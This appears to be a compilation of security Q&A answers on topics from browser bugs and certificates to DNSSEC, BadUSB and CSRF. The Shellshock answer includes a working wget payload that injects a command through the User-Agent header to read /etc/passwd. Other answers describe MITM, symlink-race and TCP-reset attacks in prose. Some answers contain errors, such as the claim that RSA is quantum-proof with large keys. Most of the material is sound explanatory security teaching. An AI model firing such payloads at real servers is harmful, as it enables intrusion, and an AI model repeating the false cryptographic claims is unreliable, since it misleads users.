Is finding vulnerabilities in the major browsers easy or not?

It's a race between the people who want to fix the vulnerabilities and the people who want to exploit them. Finding vulnerabilities is difficult — writing correct code is a lot more difficult than writing almost correct code.

Suppose (numbers pulled out of thin air) that 99% of security defects in released products are found and fixed by the authors themselves, or reported privately to the authors. That means 1% of security defects are made public through an exploit (a zero-day). You only hear about the publicized exploits, not about the ones that are quietly fixed — so that 1% is all you hear about. The authors and analysts have to fix every single vulnerability in order to make a completely secure product; the “hackers” only need to find one unfixed vulnerability.

But it's actually worse than that: even in the 99% case, when the authors release a new version, not everyone will upgrade immediately. There's another race: the race between exploitation and patching. Once the upgrade is available, crackers can study the differences with the previous version and build exploits for older versions that people are still running. This leaves a lot of exposed machines.

There are a number of techniques to look for vulnerabilities, used by both sides alike. Fuzzing is one of them: try feeding random data to a program, and see if it reacts in an interesting way. For example, if the program crashes (which in itself is often a denial of service), study the way in which it crashes carefully; often crafting the input data then lets you escalate to executing arbitrary code. Another approach is static analysis: run automatic analyses on source code or compiled code, to look for suspicious patterns (e.g. look for unchecked array accesses) or verify the absence of certain kinds of bad behavior (e.g. prove that all array accesses are unchecked). Static analysis can be complemented by manual reviews, to look for aspects that automated tools aren't good enough to catch (e.g. review that all temporary files are created securely). Experience helps, of course — sometimes someone will think “hey, this is a difficult problem, I wonder if the developers got that case right”.

I recommend reading the presentation of OpenBSD's audit process and looking further at the OpenBSD project. This is an open source project, with open discussions, and they make security a priority. I don't know of a more comprehensive presentation of their security auditing process; you can find out more about it by scouring their mailing lists.

More generally, look at security announcements for open source software (e.g. a Linux distribution). When a security patch is announced, look at the description of the vulnerability, at the original source, and at the patch. Try to get a feeling for what patterns can be problematic, how they were found (the vulnerability announcement often has a link to a more detailed write-up) and how they were fixed.


Security concerns related to API Key in Website

If your website has a backend, you can create an endpoint in your own backend that fires off a request to OpenWeatherMap. That way you can store the key securely on your own server and the client needs never know about it.

If your website does not have a backend, you are going to have to give the client your key at some point so that it can make the request. It doesn't really matter how you pass it to the client, because at some point it will need to be sent to OpenWeatherMap from the client.


Almost fell for "tech support" scam - what is the risk?

From your description, there is nothing to worry about. The victim just shared the screen with the attacker without giving the attacker control or giving the attacker any information.

As the victim used a common tool (TeamViewer) and not one provided by the attacker, there is no risk in the shared session.

There is no risk to the router as the attacker never had access to it.

It is not known what information the attacker saw on the screen, but perhaps the only concern is the disclosure of the IP address. This can be mitigated by turning the router on/off (which works in some instances) or asking the ISP for a new IP.


What is a specific example of how the Shellshock Bash bug could be exploited?

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"

Then call it with wget to swap out the User Agent string.  E.g. this will show the contents of /etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

To break it down:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Looks like:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute the code after it.

The extra "Content-type:" is only for illustration.  It prevents the 500 error and shows the contents of the file.

The above example also shows how it's not a problem of programming errors, even normally safe and harmless bash cgi which doesn't even take user input can be exploited.


How to prevent BadUSB attacks on Linux desktop?

The BadUSB attack is based on the fact that computers allow and enable HID devices on all usb ports. Faked network adapters are no real danger.
My answer tries to describe how to use udev to temporarily disable the addition of new HID devices. I'm no udev expert, but I've tested my approach, and it works for me.

For preparation, create a file /etc/udev/rules.d/10-usbblock.rules with the content:

#ACTION=="add", ATTR{bInterfaceClass}=="03" RUN+="/bin/sh -c 'echo 0 >/sys$DEVPATH/../authorized'"

If you want to block other classes too, then look up the class number, and copy the line, and change the class.

Now you can block all new HID devices using the command

sed -i 's/#//' /etc/udev/rules.d/10-usbblock.rules; udevadm control --reload-rules

and unblock with:

sed -i 's/^/#/' /etc/udev/rules.d/10-usbblock.rules; udevadm control --reload-rules

Before you shut down, always unblock, as the setting is persistent, and your "good" HID devices would be rejected on reboot.

I don't know whether you can edit the temporary rules directory, but if changes there affect the behaviour, you should edit that instead, as then you don't need to unblock before shutdown.


Why code memory pages should be readable?

We're dealing with the consequences of Von Neumann architecture - the shared memory space for data and code.  It has advantages, but as you point out, it has security problems as well, including that attack methodology.

If we were starting from scratch, I think there's no reason such a CPU couldn't be built - but many programs, from anti-virus to DRM to video games doing weird optimizations to debuggers to who-knows-what-else would not work with such restrictions.  It would be hard to bring that CPU into today's market which expects backwards compatibility - some people still want DOS programs to run on today's computers.  These sort of things make major architectural changes difficult.


Where does Snort log the messages when using a pcap file?

Nevermind... the alerts are logged in the same directory. However the problem seems to be that even if I'm using the default configuration file, I need to use the -c parameter


Authentication between two internal servers

There is no need to involve a certificate authority (CA), or trusted 3rd party,  when you control client and the server.  By avoiding the need to have a CA,  you are no longer threatened by rogue certificate authorities, and rogue certificate authority certificates.

Using two self-signed certificates it is possible to create a very strong TLS connection between two systems.  Both the client and the server generate their own self-signed certificate, then the public keys are swapped.

The server uses TLS Client Authentication to ensure the client is using a known certificate.
The client uses certificate pinning to ensure that the server is using a known certificate.  There is a draft RFC which extends HTTP-Strict Transport Security (HSTS) to allow for signature chain validation.  In the near future, the client will use HSTS for this requirement.  For now, client-side certificate pinning requires a platform specific implementation.


This seems likely to refer to the practice simply writing session tokens into the URL as part of a GET request in the form of SomeAction.do;jsessionid=863F3D24DEFA?Id=19. This is obviously bad practice and not advised.


What kind of certificate do I need to be able to make and sign my own digital signing certicates?

A certificate "must" have exactly the characteristics that verifiers will look for. A "verifier" is any system which will look at your signature and the certificate, and try to decide whether the signature is acceptable.

Most verifiers handling X.509 certificates apply the rules mandated by the X.509 standard and the Internet X.509 profile. There are many such rules; the most important are:

A verifier will need to build a path (or chain) coming for a public key it knows a priori (the trust anchor) down to the end-entity certificate, which is the certificate containing the public key associated with the private key you used to sign the XML document.
Within the path, each certificate (except the last) is used to verify the signature on the next certificate. Each such certificate must have the Basic Constraint extension with the "CA" bit set, marking the certificate as being a CA, i.e. suitable for verifying a signature on the next certificate in the path. Commercial CA normally refuse to issue certificates with the CA bit set, or do so at a hefty price, so chances are that your "certificate on your build machine" is not a CA certificate.
Any certificate may have a Key Usage extension, which spells out the allowed usages for the public key in the certificate. To properly interoperate with common verifiers, an EE certificate used to sign XML document should have a Key Usage extension with the digitalSignature and nonRepudiation flags set (or no Key Usage extension at all). Whether a certificate is "a SSL certificate" or a "code signing certificate" or any other such name, is mostly a matter of what flags are set in its Key Usage extension.
And, of course, the EE certificate should host a public key suitable for signing things, i.e. RSA, DSA, ECDSA... but not Diffie-Hellman.

The important point is that chaining your "embedded certificate" to your "build machine certificate" makes sense only if you want your XML signatures to be verifiable by generic verifiers, who will not know of your specific application, and use a generic set of trust anchors (including the one which sold you your "build machine certificate"). Chances are that it will not work, because it is improbable that your "build machine certificate" has the "CA" bit set. To check the contents of a certificate, use OpenSSL: the command-line tool (already included in MacOS X, any good Linux or *BSD, and available for Windows tool) can be used thus:

openssl x509 -text -noout -in cert.pem
openssl x509 -text -noout -inform DER -in cert.crt

(Use the first if the certificate is in PEM format, the second if it is in DER; or just try both.)

If you control the verifiers (i.e. in your application, the system which will verify the signature on the XML document will be some software that you also provide), then plugging into the build machine certificate up to the commercial CA is useless; you'd be better off creating your own CA and making certificates. OpenSSL can do that, or you could go for a more graphical solution like EJBCA.

I deliberately make no assertion whatsoever on the soundness of your concept of "secure embedding of a certificate".


Why can't I force an application to close active session by spoofing the Source IP address?

To successfully close a connection the FIN packet must be acknowledged in both directions. One side of the connection sends a FIN packet, to which the other side must return a FIN+ACK, and then finally the original side must send back another ACK. You must spoof both parts of this handshake in order to be successful.

To perform this attack you need to know the source IP, destination IP, source port, destination port, and the TCP sequence and acknolwedgement numbers. These numbers are randomly selected 32-bit numbers generated as part of the TCP handshake, incremented by the length of each packet sent/received. Their primary use is to ensure strong packet ordering, but their values are also useful to protect against spoofing attacks. Packets with invalid sequence or acknowledgement numbers (i.e. values outside the transmit or receive window) are ignored. You would generally obtain these numbers by packet sniffing if you're on the same network as them. You can also try to exhaustively guess the number, but this is noisy and slow; an exhaustive brute-force of the sequence and acknowledgement numbers requires a minimum of 4 billion packets.

A more common attack is a TCP reset attack, which is easier since an RST packet can be sent without requiring two-way closure and you only need the correct sequence number since the ACK flag is not set.


Securely verifying a user based on bio metrics

Unfortunately Biometrics are not a good way to identify someone. You may think every part of your fingerprint is unique, but you are wrong on two counts:

fingerprints, like everything else, have a finite number of possible arrangements. Large, but finite.
the sampling process you use reduces this large number down to a much smaller number

A certain amount of leeway is required when assessing a biometric signature - too strict and day to day differences can make it fail (like blood pressure, a tan, water retention etc); too relaxed and you have too many individuals presenting with the same signature.

As an additional factor, it's helpful, but as a stand alone identifier it is not secure.

@ThomasPornin's answer to Why do we even use passwords / passphrases next to biometrics? explains why.


Closing an HTML tag without using the actual character

Not in general, no.

Attacks at the encoding level like UTF-7 work by specifying ASCII characters to produce byte content that is interpreted very differently by tricking a browser's encoding guessing heuristics, but most modern browsers are savvy to that sort of thing.

If the page ends up being processed by a buggy mobile gateway, language translation service, or other system that tries to be helpful by converting non-ASCII characters to ASCII "equivalents", then full-width versions like ＞ might be converted to &gt;.


If all the access is via SSL, then it's reasonably secure.

Basic authentication without SSL only sends the username/password as base64 encoded - so it's trivial to extract the tokens via MITM or sniffing.

Digest authentication without SSL is a lot better (a challenge based mechanism) but still not as secure as an encrypted connection. However there are few cues to the user that the authentication is being implemented as Digest rather than Basic. Also proxy authentication challenges look very similar.

The built-in authentication mechanisms don't provide for a good user experience. If this is for a site with a small, defined user group, then using the built-in methods are a quick solution (but you might consider client-side certificate auth instead). But for a public facing website you should think about implementing somethnig a bit more sophisticated.

You should configure your webserver appropriately to prevent direct access to the htaccess file and password database. Either by putting the config outside of the document root (obviously this isn't going to work for htaccess files - but they are just a local extension to the webserver config) or by blocking access to the files. Every Apache distribution I've ever come across blocks access to files with names starting '.ht'

While you can prevent direct access to the password db, there's not a great deal of scope for limiting brute force attacks on the server over HTTP - another reason for considering a forms based approach.


Who's been accessing my computer with TeamViewer? Tracking through UUID

The UUID can be tracked by TeamViewer, but do not expect them to tell you anything as that would likely require a subpoena. But let's take another look at this. So you gain the knowledge that the UUID belongs to say: Drugov Russianomov somewhere in Romania. Now what? Your course of action to minimize the potential of someone 'owning' your TeamViewer sessions should be something to the tune of:

Creating a complex password
Minimize usage (turning off Team Viewer    when not in use)
ACLs (firewalls. Allow trusted networks block ALL others)

I fail to see what gathering data via UUID will do. No law enforcement agency I can think of will give you the time of day unless you were the victim of theft to the tunes of hundreds of millions of dollars. Here in the United States, most SAs will listen to you for about five minutes before politely telling you: Nothing to see here moving along.

The issue with Team Viewer and similar software, is right now there is an assumption that the user utilized TeamViewer on their own machine to access yours. The reality is, whomever logged into your machine, likely did so from another compromised machine. To fiddle around with financials (banking, Paypal, etc) one would not point a direct target right back to them. There are the unsophisticated attackers, but again, if this were one, what would be the outcome? Criminal complaint? At this point there is no forensic evidence. Retribution? To whom, what makes you sure you're not attacking a compromised machine. See the dilemmas here?


If an RSS feed handles quotes and HTML tags incorrectly, can it be considered a security risk?

By itself, malformed HTML is probably not placing their users at risk of anything other than developing an aversion to an amateurish, ugly feed. It's probably caused by an automated Word-to-HTML or PDF-to-HTML converter, but by themselves those won't create risk for their readers.

Do they include user-submitted data in their feed? If so, they could subject their users to a CSRF or XSS attack.  Or they might be susceptible to script injection.  But if so, those could be vulnerabilities regardless of whether or not the rest of their HTML is well formed.  The fact that they don't test their feeds or care about their image may give their clients the impression they don't care about other issues such as security or data safety; but it's not proof of negligence.

Don't use 'security' as a stick unless you have more concrete evidence of a vulnerability. Instead, let them know their company image is coming across poorly. When you raise the stakes, you could say "if you don't care about this, why should I believe that you care about other things, like the safety of my data?" If they still do nothing, I suggest you look elsewhere for your source of topical news. There are millions of other web sites, some of which might serve you better.


An Nvidia GTX 560 Ti costs about $250 USD, and with something like http://www.golubev.com/hashgpu.htm enables you to try matching about 1.5 Billion NTLM password hashes a second.

This varies some depending on the hashing algorithm used but I wouldn't rely upon using two words from a dictionary of 10,000 entries.


How traceable is ATM and point-of-sale credit card use back to you in practice?

They can always trace an online transaction to a card number if there is a card in the slot, also they can always trace the transaction to the phone line/network connection the ATM/pos terminal uses. Merchant banks are pretty specific in that they log everything they can. Several times usually.


What common techniques are there to decrypt a file given that I only know the private RSA key?

Take the first 256-bytes and try decrypting them using the key? Or the last 256? You'll know if it doesn't work because the padding will be incorrect (try with both PKCS#1 v1.5 padding and OAEP). If it works, you can then see whether what you get out is something like an AES or 3DES key which could be used to decrypt the rest of the data.

You could also try running the file through an ASN1 decoder to see whether it is in any other format that is encoded that way.


As with many of these things, the answer is, "Well, it depends"

If you are happy reinstalling the OS from disk, or rebuilding from an image and simply adding in your data files, then maybe you just need to back up your data files. But is your saved image up to date with patches and config changes? Would the OS require thousands of updates if you reinstalled from disk?

You need to look at what scenarios you wish to plan for. In some environments it may be enough to simply hold weekly backups of data, but for others you might want images of all servers backed up incrementally every hour or more frequently.

Determine what you need to keep your business running.

As an example, at home I keep a full backup of my main server every week, but I also keep 2 separate copies of my family photos as they are irreplaceable. I also keep images of my other live servers, but I only update them occasionally - worst case with them I just plan to reinstall from media and then patch. My older servers I hardly bother patching at all - many never get connected to a public network anyway. (And some never had network capability and haven't had OS updates in 25 years...)

So, to summarise, I think your question "What do I need to backup" is unanswerable except in general terms like this, as it is different for everyone.


How to identify which SMB host can communicate one another?

SMB is a client-server setup, whereby the system hosting the share or service is the server, with TCP ports 445 and/or 139 open. The client (e.g. the system mounting a shared folder) connects to the server's open port(s).

Technically speaking you don't need to involve port 139, since that's the older NetBIOS approach, and you can directly do SMB over 445.


Opt into strict DNSSEC checking - does DNSSEC provide a way for a zone to request strict signature validation?

There are three flags in a DNSSec packet that are responsible for communicating the validation requirements of a domain.

The DO bit

The DO bit is set by the resolver to indicate that it requires authentication Resource Records to be included in the response.

If a resolver is security aware, it MUST set the DO bit. If a Name Server gets a message without the DO bit, it MUST strip out any authentication Resource Records. Unless there is a specific request for an authentication record.

The CD bit

This bit allows the intermediate name servers to disable signature validation. This basically says 'don't bother validating things, I'll do it myself, just send me the raw records'

The AD bit

This is the part that actually answers your question.

  The name server side SHOULD set the AD bit if and only if
     the resolver side considers all RRsets in the Answer section and any
     relevant negative response RRs in the Authority section to be
     authentic.

The AD bit says, these records are authentic they are signed.

Performing Secure Queries

If www.example.com has the correct keys and resource records configured. It must still respond to clients that don't understand DNSSec. DNSSec is designed to be backwardly compatible, it must respond to requests that don't understand DNSSec. This does create the vulnerability that you highlight.

However the process exists, using the above flags to ensure that only authentic records are received, but this requires that the resolver is configured to do so. Bind does provide this mechanism in the DNSSec-validation flag (which is enabled by default)

  Enable DNSSec validation in named. Note DNSSec-enable also needs to be set to yes to be effective. The default is yes.

So if you create your own DNS Resolver, and configure it to only accept validated responses, you will not be able to resolve domains that don't have a complete chain of trust associated with them. Though domains that have no DNSSec records will work as before.

The reason that Google's name servers behave as they do, is that they have configured them to ignore the AD Bit if the domain is popular. So if stackexchange had a problem with their certificate, Google would still resolve with their name servers. This seems like a decision to prevent stackexchange dropping off the internet for a large proportion of people using Google DNS.

edited to answer the actual question!

If you have configured your secure resolver, and somebody upstream can hijack its queries they could strip out the DO bit, which would force the upstream servers to strip out all authentication records. When your secure resolver receives that record it would simply presume that the domain you were looking for didn't have any authentication configured.

To perform this attack you don't even explicitly need to be completely inserted in the middle, the ability to adjust the outgoing DNS packet would be enough.

This was considered as part of DNSSec's original design. According to RFC3833 - Threat Analysis of the Domain Name System

  While it certainly would be possible to sign DNS messages using a
     channel security mechanism such as TSIG or IPsec, or even to encrypt
     them using IPsec, this would not be a very good solution for
     interception attacks
  [...]
  For heavily used name servers (such
     as the servers for the root zone), this cost would almost certainly
     be prohibitively high.  Even more important, however, is that the
     underlying trust model in such a design would be wrong, since at best
     it would only provide a hop-by-hop integrity check on DNS messages
     and would not provide any sort of end-to-end integrity check

DNSSec is designed to protect against a number of specific attacks, such as cache poisoning, Man in the middle attacks were simply discounted for the above reason.


How does Lastpass decrypt my mobile vault after restart with just the fingerprint?

The mobile lastpass client stores your password in the device's key locker which, in theory, should only be accessible after you enter appropriate credentials. In this case fingerprint.

Of course, there is a massive difference between security on Android to iOS (in general anyway) and I'm not familiar with the Android implementations other than to say that many Android devices have no hardware based locker which potentially seriously restricts the level of security you could expect.

On iOS, this has been well tested and found to be very secure - hence the ongoing battle between Apple and the FBI.

When unlocked, the vault is maintained in memory. So in theory, it would be possible to gain access. However, it uses protected memory which should not be accessible to any other application. As iOS has a more secure and restricted base, this again is likely to be more secure there than on Android. Though perhaps an Android expert can give a more definitive answer.

The downside of securing lastpass with a fingerprint is that the USA's border control have decided that you can be compelled to provide a fingerprint but cannot be compelled to provide a password. This has been verified in the US courts.

When I travel to the USA, I remove all cloud services except those I don't care about. Certainly I uninstall lastpass and add it back later. That doesn't just apply to the USA of course.

Using a fingerprint is not just theatre but it certainly does reduce security. Not likely to be enough to worry most people though. Of course, I only use LastPass for less critical passwords. The most sensitive are kept in a separate vault accessed using a different cross-platform tool. That doesn't have fingerprint integration and I don't keep the vault open anyway unlike LastPass which I often have open.


Using a weak password on a truecrypt volume

Formally, yes. You have identified a level of residual risk you are prepared to accept, based on a threat analysis, and have implemented controls to manage the risk down to this level.

Informally, as others have pointed out, if a control can be made very much stronger with very little cost, then you should do it anyway. Risk analysis and threat modelling are not very precise sciences.

Something like Courage8366gapor is not hugely more difficult to remember or type compared to a 4 digit PIN code, but the PIN takes under a second to brute force and the passphrase would take somewhere between 2 days and ten times the age of the Earth.


Is the node server returning HTTP 200 OK for all the requests?
It looks like your scanner is going though a bunch of known vulnerable urls, if you server is returning 200 for these urls (or redirects to 200 pages) this might be the issue.


Has malware ever been found in a package from a large Linux distribution and what is done to prevent this from occurring?

Linux Mint was compromised and a backdoored ISO was deployed, Ubuntu was compromised, the entire Linux Kernel was compromised before, as were others (Debian, FreeBSD, etc). Developers protect code through checks and balances in what code is accepted into the mainline source code repository, and checksums. The issues revolve around whether or not an attacker can modify checksums without detection. Most, if not all, developers are quick to detect changes and address them accordingly.

One of the issues surrounding "how did the hackers get in" revolved around an attacker targeting a developer, then using that developer's credentials to make changes. That was addressed using two factor authentication (2FA). Which makes it more difficult than a typical attack (exploits, social engineering, brute forcing).

Each distribution is likely to have their own checks and balances in place, but it usually boils down to audits, checksums, and anomaly detection.


One Time Pad Algorithm without sharing keys

An eavesdropper will see all three messages (M xor A), (M xor A xor B) and (M xor B)

He combines them with (M xor A) xor (M xor A xor B) xor (M xor B) which gives M


SSD erasure strategy for a secondhand laptop

Encryption makes no sense in this context. Writing an encrypted version of the data to the media will make it strictly easier to recover the data than simply writing random data.

However since you are asking about an SSD there is an even better option. Use a tool to issue a TRIM command (or a sequence of commands) to the drive instructing it to delete all data. This is the fastest way to wipe an SSD and makes it very difficult if not impossible to recover any of the data. It should also give you better performance of the clean install you are going to perform after wiping the SSD.


Security concerns from publicly visible Hudson & Jenkins servers?

You need to take measures like :

A firewall to make sure only the ports that are needed to be accessible are
Whitelist rather than blacklist (meaning, deny access from all and just give access to whatever actually needs access)
Should it be accessible from the internet ? (Is a VPN maybe enough)
...

And there might always be an exploit, the problem with exploits is you never know when someone will find a hole in your system. And you can not grade how concerned you should be unless you take a look at the source code and design of the service. When you see it is has poor validation or bad design, you know you have to be alarmed, if it is well-designed ,well-coded and there is decent validation, you can be less concerned. But there is always a possibility that it might happen.

Your question is quite broad on one hand and very localized on the other.


CSS code can be seen through my browser. Is that a vulnerability?

Everything that is executed in the browser can be seen by the client, that is the nature of the Web. This includes HTML, javascript, and CSS. So, unless you put something confidential in a file that will be served by your browser, this is not an a vulnerability.

Edit: below is from @schroeder's comment

In addition, every single webpage can show the CSS code. You can download the CSS files, or open developer view to see and even manipulate the CSS code for your browser.


Dealing with password vault recovery after a catastrophic failure as a home user

I would memorize the master passwords.  You could have a physical backup in case you forget them. I would recommend reading this topic for a full discussion.


Does Windows 7 have built in wifi deauthentication attack protection?

It shouldn't matter. The 802.11 de-authentication attack is not attacking the computer so the Operating System of the client should not matter. It is attacking the network itself by telling the router that the clients are done the connection and are disconnecting.

There are defences for de-authentication attacks but it is not based on the OS. It is basically making the client jump from 1 AP to another to avoid being disconnected.


Why are PID suffixed temporary files a vulnerability

The issue is that the attacker can create a symlink before a vulnerable program can. For example, you could write a script that watches the process list, and as soon as a program with the right name shows up in the list, the script would race to create a symlink to a privileged file before the vulnerable program can. If the vulnerable program is running as privileged process (as cronjobs often are), this may allow the attacker to write to files that the attacker doesn't have privileges to write to.

In some cases, you can even start creating the symlinks before the program even started, because PID is assigned sequentially and if you know that another program always/often starts before the vulnerable program starts, you can preemptively create a few PID files ahead of time.

Once the file is created, the vulnerability isn't an issue because of the sticky bit.


Is there an easy way to detect clients that ignore certificate validation errors (in production)?

... but is there a standard feature so we can we configure web-servers in a way that they will deliberately do that the first time for every distinct client?

There is no such feature. Since the TLS handshake (which serves the certificate) is done before any kind of application data (like a application specific user-agent header) gets submitted and since there is  no kind of application-specific identifier in the TLS handshake too a server cannot figure out of this is a new type of client application or not and thus cannot behave differently.


In theory, yes. You'd need to disable IP forwarding so the data doesn't pass through the attacking machine. You'd need to forward the client's download request and then intercept the download as it bounces off the attacker.

Once you have this file, modify it as you wish and send it to the victim while spoofing yourself as the server.

NOTE: This process will not work if the connection is secure. In that case, you'd need to find a way around the encryption such as a DROWN attack or SSLStrip. Please also note that these attacks are circumstantial, and are not guaranteed to work (just like any other attack).


can snort rules be defeated by palindrome

The aim of a snort rule is not to match arbitrary content but potentially malicious content. A palindrom by itself is not malicious. And if you are able to construct a specific malicious palindrom then it is probably easy to match this one with a string or PCRE match.


Here is what I have done, and still do in some specific cases:

I use a machine with no swap. In my case, an old Asus EeePC with the famously horrendous proto-SSD; you really do not want to use it for swap space. Instead, I replaced the RAM chip, up to 2 GB.
I configure /tmp to be a RAM-based filesystem (search for "tmpfs" in the man page for "mount").
When I need to access a GnuPG-encrypted file, I decrypt it and visualize or edit it entirely in /tmp. Only the encrypted file ever exists on the disk.
I never use the "hibernate" option. I shut the machine off when I don't use it.

That way, no risk of leakage to a permanent medium. I apply this when I need to travel and keep my "passwords.txt" file with me. The attack model is the following: if my machine is stolen, it will be off.

Now this probably seems a little extreme, but I think it is time to reconsider the wisdom of enabling swap space. Over the last four years, the only occasions where I actually hit swap were situations with a process gone into an endless allocation loop, thus saturating the whole RAM -- the presence of swap only served to make the problem worse, not better, because it allowed the machine to pretend that it could survive, and engage into considerable harddisk grinding, before finding out that the mad process had finally to be killed.

GC-based language and smartphones/tablet both contribute to creating an ecosystem of software (applications, libraries...) which are definitely adverse to swap, so it can be predicted that swap space will keep on losing relevance over the next years.

(I admit that if I wanted to use hibernation, it would bring the leakage back. But I never really got used to hibernation; I prefer to optimize the boot sequence. My current laptop -- not the EeePC -- has a good SSD and runs Lubuntu: it boots up in less than 25 seconds, including the BIOS sequence.)


Is the unwanted PHP array to string conversion a security risk?

Being able to provoce a PHP error is always a bad sign, and it is worth looking into it in more detail or at least report it. How bad this is in practice can range from completely benign to absolutely catastrophic. It all depends on what the code does with the array it expects to be a string.

Lets take a look at a real world example from the bad end of that scale - Drupal security advisory SA-CORE-2014-005, or Drupalgeddon as it is more commonly known.

It was an SQL injection attack that worked because the programmeras had not expected that a query parameter would be an array. When it was, for some reason I do not fully understand the keys of that array were concatenated into an SQL query. You can see some example of payloads here.

So does this introduce risk? Potentially, yes.


Most secure algorithms for KDF and Public Key Encryption

Personally, as public key cryptography goes, I think RSA should be used. There are multiple reasons for this:

RSA has been proved secure by many people
RSA is widely used and implemented, therefore info is widespread
RSA is theoretically quantum proof, provided you use a large enough key
RSA keys can be multiple sizes

You could use Elliptic curve cryptography if you wanted though.

KDF's

As KDF's are concerned, PBKDF2HMAC is the most used standard. Argon2, Scrypt and AES-KDF are also widely used though.

Currently all of my apps use PBKDF2HMAC, but I am migrating to Scrypt because it is more secure.


What is the user's private key literally used for in a digital certificate?

The CA signs your public key, proving that whoever has the private key that works with that is really you.

Hence, the CA never sees your private key. Which is good, because your private key must stay private.

Won't answer the "what is a private key for" question, since it is just a basic question of understanding private/public key infrastructure, and you can find that explained in very many places.


Network and data security for small online businesses?

You can use open source  solutions for that and try to make it perfect based on your environment.

For IPS you can use Suricata engine.

For Firewall you can use PFSense or ClearOS.

For WAF you can use IronBee or wafw

For SIEM you can use AlieanVault OSSIM.

All the above products are free and open source, but some of them has missed feature and need to be paid to go with pro edition.

I hope this fits your requirements.

Rami,


javascript: is the URI scheme (like http: or https: or ftp: or file:) for immediate-execution javascript. Javascript URIs can be set as the "URL" of a window, both the top-level window or an iframe/popup/etc. They execute in the context of the currently-loaded origin and page, so it's equivalent to injecting a script tag into the page.
Outside of malicious operations (such as excessively open redirects), javascript: URIs are usually used for "bookmarklets", where you create a bookmark in your browser that contains a little bit of script you might want to run on an arbitrary page. Then, when you're on the page, you can "go to" the bookmarklet, which just runs that script snippet on the page. An amusing example is featured on this page: http://kathack.com/
From a security perspective, javascript: URIs are usually not commonly used in attacks, but sometimes they're the most practical option. If you can control the location of a window, but nothing else, javascript: URIs are an option (along with data: URIs) for injecting arbitrary content into the page context. Most other times, it's easier to manipulate the actual HTML, though (by injecting a script tag, or an HTML element with event handlers, or changing the content of an existing JS block / invocation).


Any real world examples of GPS location data being used with authentication?

I attended a workshop for Splunk a few months ago. Splunk, if you are unfamiliar with it, is a type log viewer. You can find more out about them at their website: http://www.splunk.com. Essentially, you dump all of your log data into one place, and then analyze it, correlate, report on it, etc.

One of the use cases for Splunk was to correlate VPN logs with Physical Badge access logs. An alert was drafted so that if a user was signed into the VPN and used their access badge in the building, it would flag it and notify on that event. You could use really any sort of logs, I could see an example case where a user signs in from an IP address in Kansas and had done so for the last 30 days, now all of sudden they sign in from an IP address in Canada. Splunk could detect that and alert on it.

Splunk is free for up to 2 GB of data per day, so if you have the data, you could begin testing something like this. The trick is getting the log data in a location so that you can dig through it.


How much does disabling JavaScript restrict browser fingerprinting?

Without Javascript, the server can only use the remote IP address and the standard HTTP headers. From those, the most informative are:

User-Agent: the browser shows its identification here
Accept or Accept-Language: the browser declares its prefered language
Accept or Accept-Encoding: the browser declares its supported encoding or compression

But, as some servers require those informations and only know a limited range of browsers, uncommon browsers and robots (request sent from non browser programs) often present fake values and pretend to be a firefox or IE browser. Said differently they are not really reliable when javascript is deactivated.

But the absence of Javascript support is a strong indication of a robot or uncommon browser (do you know lynx?), or a user that wants special processing on its browser. In that case, the type of the browser is much less important that the deactivation of javascript. Because as nowadays very few sites can be used without javascript, very few users disable it. As said by Stephen in his comment, the absence of javascript simply gives a fingerprint of no javascript.


The direct equivalent in Java would been using class loaders or implementing an interpreter particularly if it allows arbitrary method calls through reflection. An IDE or other code viewer that allows tracing back method calls will show you APIs that indirectly use this (or use grep).

Oracle's Secure Coding Guidelines for Java SE has a list of examples in Guideline 3-8 / INJECT-8: Take care interpreting untrusted code.


is HttpOnly and Secure cookie enough to prevent CSRF in rest api?

First of all, CSRF and XSRF reffer both to Cross Site Request Forgery.

Second of all, unless you put an anti-CSRF token in a cookie, atleast the HttpOnly attribute should be set if possible.

There are situations where you can't set the HttpOnly attribute, an example is when you use javascript code which require to be able to read the value of the cookie (AngularJS).

If you serve your REST API over HTTPS, then the Secure attribute on the anti-CSRF cookie should be set as well.

This URL explains how to use and configure anti-CSRF tokens in the Spring MVC framework.

This URL explains how to use anti-CSRF tokens in PHP without using a PHP framework.

There are situation where an attacker is able to steal HttpOnly cookies:

The HTTP TRACE method is enabled
Outdated Apache (CVE-2012-0053) (< v2.2.22)

If these two conditions are not met, based on your description, I would say your code is sufficiently protected against CSRF attacks, especially since you use request based anti-CSRF tokens (I know banks that don't even do this). Good job! :)

However, do not try to re-invent the wheel. Personally I would try to implement a proper anti CSRF protection using the Spring MVE framework.


OSSEC - firewall-drop not working for rule 5701

It was a bug,

I found and fixed it then sent a pull request to OSSEC team: https://github.com/ossec/ossec-hids/pull/1194

I had to change the ssh-scan decoder. In fact it was needed to split ssh-scan2 into two different regex. The change can be found here.

Thanks,


WiFi security using IEEE 802.1X - how secure is it?

802.1X is NOT an encryption type. It is basically just a per-user (e.g. username and password) authentication mechanism.

WPA2 is a security scheme that specifies two main aspects of your wireless security:

Authentication: Your choice of PSK ("Personal") or 802.1X ("Enterprise").
Encryption: Always AES-CCMP.

If you're using WPA2 security on your network, you have two authentication choices: You either have to use a single password for the whole network that everyone knows (this is called a Pre-Shared Key or PSK), or you use 802.1X to force each user to use his own unique login credentials (e.g. username and password).

Regardless of which authentication type you've set up your network to use, WPA2 always uses a scheme called AES-CCMP to encrypt your data over the air for the sake of confidentiality, and to thwart various other kinds of attacks.[Ref]

So when the system use AES-CCMP, which user with which username/password has the key of the AES encryption?

It means after that each user is authenticated, the system encrypts all traffic with temporal 128-bit key and AES.

WPA is an 802.11i-based security solution from the Wi-Fi Alliance that addresses the vulnerabilities of WEP. WPA uses Temporal Key Integrity Protocol (TKIP) for encryption and dynamic encryption key generation by using either a pre-shared key, or RADIUS/802.1x-based authentication. The mechanisms introduced into WPA were designed to address the weakness of the WEP solution without requiring hardware upgrades. WPA2 is the next generation of Wi-Fi security and is also based on the 802.11i standard. It is the approved Wi-Fi Alliance interoperable implementation of the ratified IEEE 802.11i standard. WPA 2 offers two classes of certification: Enterprise and Personal. Enterprise requires support for RADIUS/802.1x-based authentication and pre-shared key (Personal) requires only a common key shared by the client and the AP.

